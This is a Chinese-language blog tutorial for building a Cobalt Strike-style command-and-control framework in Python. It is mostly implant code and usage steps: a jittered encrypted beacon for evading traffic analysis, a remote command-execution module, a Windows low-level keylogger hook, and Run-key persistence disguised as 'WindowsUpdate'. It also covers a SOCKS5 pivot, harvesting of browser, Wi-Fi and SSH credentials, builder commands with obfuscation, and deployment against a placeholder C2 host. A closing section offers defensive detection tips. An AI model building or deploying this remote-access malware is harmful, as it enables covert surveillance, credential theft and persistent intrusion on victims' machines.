用Python复刻Cobalt Strike:开源C2框架完整实现
前言
在红队渗透测试中,Cobalt Strike(简称CS)是业界公认的黄金标准C2(Command & Control)框架。然而CS价格昂贵且闭源,对于安全研究人员来说,理解其架构原理并用Python从零实现一个类似框架,是深入学习内网渗透、后渗透技术的绝佳方式。
本文将详细介绍一个基于Python的C2框架完整实现,涵盖架构设计、加密通信、Agent功能模块、Web管理面板等核心组件。本文所有代码和技术仅用于授权渗透测试和安全研究。
一、C2架构设计
1.1 整体架构
C2框架采用经典的Client-Server架构:
┌─────────────────┐ AES加密通信 ┌─────────────────┐
│ Web Dashboard │◄────── REST API ────►│ C2 Server │
│ (浏览器) │ │ (Flask) │
└─────────────────┘ └────────┬────────┘
│
┌──────────────────────────┼──────────────────────────┐
│ │ │
┌─────▼─────┐ ┌─────▼─────┐ ┌─────▼─────┐
│ Agent 1 │ │ Agent 2 │ │ Agent N │
│ (Windows) │ │ (Linux) │ │ (macOS) │
└───────────┘ └───────────┘ └───────────┘
三个核心组件:
- C2 Server(服务端):Flask应用,提供REST API接口,管理所有连接的Agent,下发任务并接收结果
- Agent(客户端/植入体):部署在目标机器上的轻量级程序,反向连接到C2服务器,执行任务并回传数据
- Web Panel(管理面板):基于浏览器的图形化界面,提供实时监控、任务管理、结果查看等功能
1.2 通信模式
我们采用**反向连接(Reverse Connect)**模式:
- Agent主动连接C2 Server的监听端口
- Agent通过心跳(Heartbeat)机制保持连接
- Server在心跳响应中携带待执行的任务
- Agent执行任务后通过结果提交接口回传数据
这种模式的优势:
- 穿透NAT和防火墙(Agent主动外连)
- 不需要目标机器开放端口
- 与正常HTTPS流量混合,隐蔽性好
1.3 心跳与抖动
Agent的心跳机制是C2框架的核心。为了对抗流量分析检测,我们实现了**抖动(Jitter)**机制:
# 心跳间隔 = 基础间隔 ± 随机抖动
jitter_amount = self.sleep_interval * self.jitter
sleep_time = self.sleep_interval + random.uniform(-jitter_amount, jitter_amount)
time.sleep(max(5, sleep_time))
默认配置为60秒间隔、10%抖动,即实际心跳间隔在54-66秒之间随机波动,使网络流量模式更加自然。
二、加密通信方案
2.1 AES-256-CBC加密
所有C2通信数据都使用AES-256-CBC加密,确保即使通信被截获也无法解密内容:
class CryptoManager:
def __init__(self, key: str):
self._key = hashlib.sha256(key.encode()).digest() # 256-bit key
def encrypt(self, plaintext: bytes) -> bytes:
iv = os.urandom(16) # 随机初始化向量
padded = self._pad(plaintext)
# CBC模式加密
cipher = Cipher(algorithms.AES(self._key), modes.CBC(iv))
ct = cipher.encryptor().update(padded) + cipher.encryptor().finalize()
# HMAC-SHA256完整性校验
mac = hmac.new(self._key, iv + ct, hashlib.sha256).digest()
return iv + ct + mac
2.2 数据包结构
每个加密数据包的结构:
┌──────────┬──────────────┬──────────┐
│ IV (16B) │ Ciphertext │ HMAC(32B)│
└──────────┴──────────────┴──────────┘
- IV:16字节随机初始化向量,保证相同明文每次加密结果不同
- Ciphertext:PKCS7填充后的AES-256-CBC密文
- HMAC:32字节SHA-256消息认证码,防止数据篡改
2.3 纯Python实现
为了保证Agent在没有第三方库的环境中也能运行,我们实现了一个纯Python的AES加密后端:
def _aes_encrypt_block(block: bytes, round_keys) -> bytes:
s = list(block)
nr = len(round_keys) - 1
s = _add_round_key(s, round_keys[0])
for r in range(1, nr):
s = _sub_bytes(s)
s = _shift_rows(s)
s = _mix_columns(s)
s = _add_round_key(s, round_keys[r])
s = _sub_bytes(s)
s = _shift_rows(s)
s = _add_round_key(s, round_keys[nr])
return bytes(s)
当cryptography库可用时自动使用高性能实现,否则降级到纯Python实现,确保最大兼容性。
三、Agent功能模块
3.1 远程命令执行
命令执行模块支持跨平台Shell命令:
class ExecCmdModule:
@staticmethod
def execute(command: str, timeout: int = 60) -> dict:
if sys.platform == 'win32':
cmd = ['cmd.exe', '/c', command]
else:
cmd = ['/bin/sh', '-c', command]
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = proc.communicate(timeout=timeout)
return {
'stdout': stdout.decode('utf-8', errors='replace'),
'stderr': stderr.decode('utf-8', errors='replace'),
'returncode': proc.returncode
}
3.2 文件管理器
文件管理模块提供完整的远程文件操作能力:
- 目录列表:递归遍历目录,获取文件大小、权限、所有者等信息
- 文件上传/下载:支持二进制文件的Base64编码传输
- 文件搜索:基于glob模式的文件搜索
- 文件哈希:计算文件的SHA256/MD5哈希值
class FileManagerModule:
@staticmethod
def read_file(path: str, binary: bool = True) -> dict:
with open(path, 'rb' if binary else 'r') as f:
data = f.read()
if binary:
data = base64.b64encode(data).decode()
return {'success': True, 'data': data, 'size': len(data)}
3.3 键盘记录器
键盘记录器针对不同操作系统实现了独立的Hook机制:
- Windows:使用
SetWindowsHookExW安装低级键盘钩子(WH_KEYBOARD_LL) - macOS:使用Quartz Event Tap监听键盘事件
- Linux:读取
/dev/input/event*设备节点获取键盘输入
def _win32_capture(self):
user32 = ctypes.windll.user32
HOOKPROC = ctypes.CFUNCTYPE(ctypes.c_long, ctypes.c_int, wintypes.WPARAM, wintypes.LPARAM)
def hook_proc(nCode, wParam, lParam):
if nCode >= 0 and wParam == WM_KEYDOWN:
vk_code = ctypes.cast(lParam, ...).contents[0]
key = vk_map.get(vk_code, chr(vk_code))
self._log_key(key)
return user32.CallNextHookEx(None, nCode, wParam, lParam)
hook = user32.SetWindowsHookExW(WH_KEYBOARD_LL, HOOKPROC(hook_proc), ...)
3.4 截屏模块
截屏模块同样实现了多后端支持:
- Pillow:跨平台首选方案,支持多显示器
- scrot/import:Linux命令行工具回退
- screencapture:macOS原生命令
- Win32 API:使用
BitBlt直接抓取屏幕DC
截图数据以JPEG格式压缩后Base64编码传输,默认质量75%以平衡清晰度与传输效率。
3.5 持久化机制
持久化模块实现了多种驻留技术:
Windows:
- 注册表Run键(
HKCU\Software\Microsoft\Windows\CurrentVersion\Run) - 计划任务(
schtasks) - 启动文件夹快捷方式
Linux:
- Crontab定时任务
- Systemd用户服务
.bashrc钩子注入- XDG自启动项
macOS:
- LaunchAgent plist
- Login Items
class PersistenceModule:
@staticmethod
def registry_run(agent_path: str) -> dict:
import winreg
reg_key = winreg.OpenKey(
winreg.HKEY_CURRENT_USER,
r'Software\Microsoft\Windows\CurrentVersion\Run',
0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(reg_key, 'WindowsUpdate', 0, winreg.REG_SZ, agent_path)
3.6 SOCKS5代理隧道
内置SOCKS5代理服务器,可以通过被控主机做网络跳板:
class SOCKS5Proxy:
def _cmd_connect(self, client_sock, dst_addr, dst_port, atyp):
remote_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_sock.connect((dst_addr, dst_port))
# 返回连接成功响应
reply = struct.pack('!BBBB', 0x05, 0x00, 0x00, 0x01)
reply += socket.inet_aton(bind_addr[0])
client_sock.sendall(reply)
# 双向数据转发
self._relay(client_sock, remote_sock)
支持CONNECT命令、用户名/密码认证(RFC 1929),适用于内网横向移动场景。
3.7 凭证收集
凭证收集模块可提取以下敏感信息:
- WiFi密码:
netsh wlan show profiles(Windows)、wpa_supplicant配置(Linux) - 浏览器密码:解密Chrome/Firefox/Edge保存的登录凭证
- SSH密钥:扫描
~/.ssh/目录下的私钥文件 - 环境变量:搜索包含API密钥、数据库密码等敏感信息的环境变量
- Shell历史:分析bash/zsh历史文件中的密码泄露
四、Web管理面板
4.1 技术栈
- 后端:Flask + RESTful API
- 前端:原生HTML/CSS/JavaScript(零依赖)
- 认证:Token-based认证
- 实现:自动10秒刷新的实时监控
4.2 功能特性
Web面板提供以下功能:
- 实时仪表盘:在线Agent数、任务统计、事件日志
- Agent管理:查看详细信息、操作系统、IP地址、在线状态
- 交互终端:类Cobalt Strike的命令行交互界面
- 任务管理:创建、查看、管理所有任务和结果
- 批量操作:向所有在线Agent广播命令
- 数据导出:一键导出所有Agent数据和任务结果
4.3 API设计
@app.route('/api/agents/<agent_id>/interact', methods=['POST'])
def interact_agent(agent_id):
action_map = {
'execute_command': ('exec_cmd', {'command': params.get('command')}),
'take_screenshot': ('screenshot', {}),
'start_keylogger': ('keylogger_start', {}),
'install_persistence': ('persistence', {}),
}
task = server.create_task(agent_id, task_type, task_params)
return jsonify({'task': task})
五、Agent编译打包
Builder模块支持三种打包方式:
5.1 Standalone(Python脚本)
生成一个自包含的Python脚本,内嵌所有必要的加密和通信代码,无需任何第三方依赖即可运行。
5.2 PyInstaller
将Agent编译为独立可执行文件:
python3 builder.py \
--server http://c2.example.com:5000 \
--key my-secret-key \
--method pyinstaller \
--platform windows \
--onefile \
--icon app.ico
5.3 Nuitka
使用Nuitka将Python编译为C扩展模块,进一步增加逆向分析难度。
5.4 代码混淆
Builder内置了变量名混淆功能,配置信息(服务器地址、加密密钥)通过随机变量名嵌入,增加静态分析难度:
_xkqmf = "http://c2.example.com:5000"
_bzrpnw = "my-secret-key-2024"
六、使用流程
步骤1:启动C2服务端
python3 server.py --host 0.0.0.0 --port 5000 --key my-secret-key
步骤2:构建Agent
python3 builder.py -s http://YOUR_IP:5000 -k my-secret-key -m standalone
步骤3:部署Agent到目标
python3 agent.py -s http://YOUR_IP:5000 -k my-secret-key --sleep 30
步骤4:通过Web面板管理
打开浏览器访问 http://YOUR_IP:5000,输入认证Token即可开始交互操作。
七、安全防御建议
从防御者角度,了解C2框架的工作原理有助于:
- 流量检测:监控异常的心跳间隔流量,即使是加密流量也可以通过包大小和时间间隔特征识别
- 进程监控:关注可疑的Python/PowerShell进程启动行为
- 持久化检测:定期审计注册表Run键、计划任务、crontab等持久化点
- 网络分段:限制内网主机的出站连接,减少Agent回连的可能性
- EDR部署:终端检测与响应工具可以捕获键盘Hook、截屏等可疑API调用
总结
本文从零实现了一个功能完整的C2框架,涵盖了Cobalt Strike的核心功能:加密通信、远程命令执行、文件管理、键盘记录、截屏、持久化、代理隧道和凭证收集。虽然在实际红队作业中仍推荐使用成熟的商业工具,但通过这个项目可以深入理解C2框架的工作原理,对攻防双方都具有重要的学习价值。
完整代码已开源,所有代码仅用于授权安全测试,请遵守当地法律法规。
评论